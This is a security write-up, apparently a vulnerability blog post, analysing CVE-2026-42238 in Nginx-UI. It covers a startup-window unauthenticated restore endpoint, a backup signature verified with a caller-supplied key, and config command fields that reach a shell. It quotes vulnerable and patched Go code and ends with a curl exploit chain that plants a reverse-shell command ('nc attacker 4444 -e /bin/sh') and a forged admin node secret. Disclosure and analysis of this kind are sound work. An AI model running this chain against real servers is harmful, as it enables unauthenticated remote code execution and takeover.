//nefariousplan

CVE-2026-42238: Nginx-UI's Backup Signature Is Signed By Whoever Sends the Backup

patterns

cve

proof of concept

Nginx-UI v2.3.7 ships a backup-restore endpoint at POST /api/restore whose authentication gate is a clock. The gate checks two booleans: InstallLockStatus() returns true if the JWT secret is set or if SkipInstallation is true, and IsInstallTimeoutExceeded() returns true once ten minutes have passed since the Go process started. If both are false, the operator has not yet finished the install wizard, and the binary started less than ten minutes ago, the request goes through.

That window is the door CVE-2026-42238 names. Restart the process and the clock resets. A fresh container, a docker-compose up, a systemd reboot, each opens a new ten-minute door.

The CVE is also about a second thing, and the v2.3.8 patch does not close it.

The Time Gate Is Not The Quietest Failure

The router that registers /api/restore is four lines of intent.

// api/backup/router.go (v2.3.7)
func authIfInstalled(ctx *gin.Context) {
    if system.InstallLockStatus() || system.IsInstallTimeoutExceeded() {
        middleware.AuthRequired()(ctx)
    } else {
        ctx.Next()
    }
}

func InitRouter(r *gin.RouterGroup) {
    r.GET("/backup", middleware.AuthRequired(), CreateBackup)
    r.POST("/restore", authIfInstalled, middleware.EncryptedForm(), RestoreBackup)
}

InstallLockStatus() reads settings.NodeSettings.SkipInstallation || cSettings.AppSettings.JwtSecret != "". IsInstallTimeoutExceeded() reads time.Since(startupTime) > 10*time.Minute, where startupTime is set in a package init() function that runs at process start. The shape is internal-only-by-convention extended over time rather than namespace. The "internal-only" status of the restore endpoint is held by the assumption that within ten minutes of process start, the only caller is an operator on a console somewhere. Ten minutes is a convention. The network has no way to know.

Internet-exposed nginx-ui instances that have not finished the install wizard are exploitable on every restart. Reachable instances that have finished install are not exploitable through the time gate. CVE-2026-42238's advisory framing, "first 10 minutes after startup," is the whole story for the perimeter. It is not the whole story for the bug.

The Signing Key For The Manifest Is On The Request That Delivers The Manifest

A nginx-ui backup is a zip that contains nginx-ui.zip (the app config archive) and nginx.zip (the nginx config archive), plus manifest.json and manifest.sig. The restore request includes a security_token form field of the form <base64-aes-key>:<base64-aes-iv>. The server uses those bytes to AES-decrypt the inner zips, and uses them to verify the manifest signature.

// internal/backup/manifest.go (unchanged in v2.3.8)
const manifestKeyContext = "nginx-ui-backup-signing-v1:"

func deriveBackupSigningKeyFromAESKey(aesKey []byte) ([]byte, error) {
    if len(aesKey) == 0 {
        return nil, ErrInvalidAESKey
    }
    sum := sha256.Sum256(append([]byte(manifestKeyContext), aesKey...))
    return sum[:], nil
}

func verifyManifestSignatureWithFallback(manifestBytes []byte, signature string, aesKey []byte) error {
    aesSigningKey, err := deriveBackupSigningKeyFromAESKey(aesKey)
    if err == nil && verifyManifestSignature(manifestBytes, signature, aesSigningKey) == nil {
        return nil
    }

    legacySigningKey, err := deriveBackupSigningKey()
    if err == nil && verifyManifestSignature(manifestBytes, signature, legacySigningKey) == nil {
        return nil
    }

    return ErrInvalidManifestSig
}

aesKey is the bytes the caller put on this request. deriveBackupSigningKeyFromAESKey is sha256("nginx-ui-backup-signing-v1:" + caller_bytes). The HMAC verify call on the next line uses that derived key against the signature the caller embedded in their own zip.

Two surfaces, one caller, one key. The signature does not bind a backup to its issuer. It binds a backup to itself.

The fallback path exists for backups produced before this scheme existed. Older backups are HMAC'd with settings.CryptoSettings.Secret, the local crypto-secret on the running instance, and an attacker without that secret cannot forge a legacy-format manifest. They have no need to. The first path returns nil, and the function returns nil, and the manifest is "verified."

This is caller-chosen-key. The pattern's canonical exhibit is RestroPress's WordPress JWT, where the issuer reads Authorization from the request and signs a token with that value as the HMAC key, and the verifier reads x-api-key from a later request and decodes with that value as the HMAC key. Same caller, two headers, one key. Nginx-UI compresses the same shape into one endpoint: same caller, one form field, one key, used for sign and for verify on opposite sides of the transport.

The Restored Config File Is The Next Process's argv

The restore handler decrypts the inner zips, extracts them, and copies app.ini to cosysettings.ConfPath:

// internal/backup/restore.go
func restoreNginxUIConfig(nginxUIBackupDir string) error {
    configDir := filepath.Dir(cosysettings.ConfPath)
    if configDir == "" {
        return ErrConfigPathEmpty
    }

    srcConfigPath := filepath.Join(nginxUIBackupDir, "app.ini")
    if err := copyFile(srcConfigPath, cosysettings.ConfPath); err != nil {
        return err
    }
    ...
}

Two seconds after responding 200, the handler calls risefront.Restart(), a graceful re-exec of the binary. The new process loads its config from cosysettings.ConfPath, the file the previous process just rewrote with attacker bytes.

This is unauth-write-to-execution-path. cosysettings.ConfPath is not data the next process will parse and decide what to do with. It is the next process's argv table for every shell call the binary makes. The example app.ini ships with these fields:

[app]
JwtSecret =

[nginx]
TestConfigCmd   =
ReloadCmd       = nginx -s reload
RestartCmd      = start-stop-daemon --start --quiet --pidfile /var/run/nginx.pid --exec /usr/sbin/nginx

[terminal]
StartCmd = bash

[node]
Name             = Local
Secret           =

Each of those command fields is read by code that hands it to a shell:

// internal/nginx/exec.go
func execShell(cmd string) (stdOut string, stdErr error) {
    var execCmd *exec.Cmd
    if runtime.GOOS == "windows" {
        execCmd = exec.Command("cmd", "/c", cmd)
    } else {
        execCmd = exec.Command("/bin/sh", "-c", cmd)
    }
    ...
}

TestConfigCmd flows to execShell from nginx.TestConfig(). ReloadCmd flows to execShell from nginx.Reload(). RestartCmd flows to execShell from nginx.restart(). Terminal.StartCmd flows to exec.Command from the web-terminal handler at internal/pty/pipeline.go. After the restart, each is /bin/sh -c <attacker_string> or exec.Command(<attacker_string>). The config file is the program.

[node].Secret is the master auth bypass on the same restored process. The auth middleware reads:

// internal/middleware/middleware.go
if nodeSecret := getNodeSecret(c); nodeSecret != "" && nodeSecret == settings.NodeSettings.Secret {
    initUser := user.GetInitUser(c)
    c.Set("Secret", nodeSecret)
    c.Set("user", initUser)
    c.Next()
    return
}

Send X-Node-Secret: <whatever the attacker wrote into [node].Secret> and the request authenticates as the init user (admin, ID 1). After the restart the attacker holds both halves: the admin credential they minted by writing it into the config file, and four shell-execution sinks they planted in the same file. POST /api/nginx/test with that header runs /bin/sh -c <TestConfigCmd>. Opening the terminal websocket runs exec.Command(<Terminal.StartCmd>).

The exploit chain is one HTTP POST plus one process restart plus one X-Node-Secret request. The restart is performed by the server itself, two seconds after the POST returns. End to end:

# 1. Confirm the install window is open.
curl -s http://target:9000/api/install
# {"lock":false,"timeout":false}

# 2. Build a backup whose app.ini sets [node].Secret = "pwn"
#    and [nginx].TestConfigCmd = "id; nc attacker 4444 -e /bin/sh".
#    Sign the manifest with HMAC-SHA256(sha256("nginx-ui-backup-signing-v1:" + K), manifest_bytes)
#    where K is whatever 32-byte AES key the attacker chose.
#    Build the outer zip. Encrypt the inner zips with K and IV.

# 3. Submit the restore.
curl -X POST http://target:9000/api/restore \
  -F "restore_nginx=true" -F "restore_nginx_ui=true" \
  -F "verify_hash=true" \
  -F "security_token=$(echo -n $K | base64):$(echo -n $IV | base64)" \
  -F "backup_file=@malicious-backup.zip"
# {"nginx_ui_restored":true,"nginx_restored":true,"hash_match":true}

# 4. Wait for the graceful restart (~2s). Then trigger TestConfig.
curl -X POST http://target:9000/api/nginx/test \
  -H "X-Node-Secret: pwn"

hash_match: true is the server reporting that it verified the manifest signature with a key the attacker provided.

The Patch Closes The Route. It Does Not Close The Signature.

v2.3.8 rewrites api/backup/router.go:

- r.POST("/restore", authIfInstalled, middleware.EncryptedForm(), RestoreBackup)
+ r.POST("/restore", middleware.AuthRequired(), middleware.EncryptedForm(), RestoreBackup)
+
+ // separate group for the install-time restore
+ func InitSetupRouter(r *gin.RouterGroup) {
+     r.POST("restore", middleware.EncryptedForm(), RestoreBackup)
+ }

The post-install route now requires real authentication. The setup-only route is registered under a separate group whose middleware is SetupAuthRequired():

// internal/middleware/install_secret.go (new in v2.3.8)
func SetupAuthRequired() gin.HandlerFunc {
    return func(c *gin.Context) {
        if internalSystem.InstallLockStatus() {
            cosy.ErrHandler(c, internalSystem.ErrInstalled)
            c.Abort()
            return
        }
        if internalSystem.IsInstallTimeoutExceeded() {
            cosy.ErrHandler(c, internalSystem.ErrInstallTimeout)
            c.Abort()
            return
        }
        secret := getInstallSecret(c)
        if err := authorizeWithInstallSecret(c, secret); err != nil {
            cosy.ErrHandler(c, err)
            c.Abort()
            return
        }
        c.Next()
    }
}

authorizeWithInstallSecret reads X-Install-Secret and compares it constant-time against the contents of .install_secret, a 32-byte random value the boot pipeline writes to the config directory at startup with mode 0600:

// internal/system/install_secret.go
func writeInstallSecret(secret string) error {
    ...
    if _, err := tempFile.WriteString(secret + "\n"); err != nil {
        return err
    }
    if err := tempFile.Chmod(0600); err != nil {
        return err
    }
    ...
}

The install secret is readable only by the user nginx-ui runs as. A network caller cannot read it. The "internal-only" status of the setup route is now held by file permissions, not by a clock. The convention has been replaced by an enforcement.

internal/backup/manifest.go is byte-for-byte identical between v2.3.7 and v2.3.8.

The signature still verifies with a key the caller provides. The patch did not need it to be otherwise. As long as the route is gated, the integrity check has nothing to integrity-check; the only callers reaching it have already been authenticated by a different mechanism. The HMAC remains a self-test. It will remain a self-test the next time someone adds a route that touches restore, a CLI helper, a cluster-sync API, an unauthenticated import flow on a sister product, and inherits an integrity check that does not check integrity.

The audit shape CVE-2026-42238 asks defenders to remember: a bug closed by the perimeter is closed only as long as the perimeter holds. A bug closed by the artifact's signature is closed even if a future route reaches the same handler. Nginx-UI's restore is the first kind.

PoC: GHSA-4pvg-prr3-9cxr

The patch closes the route. It does not close the check, because the check was never one.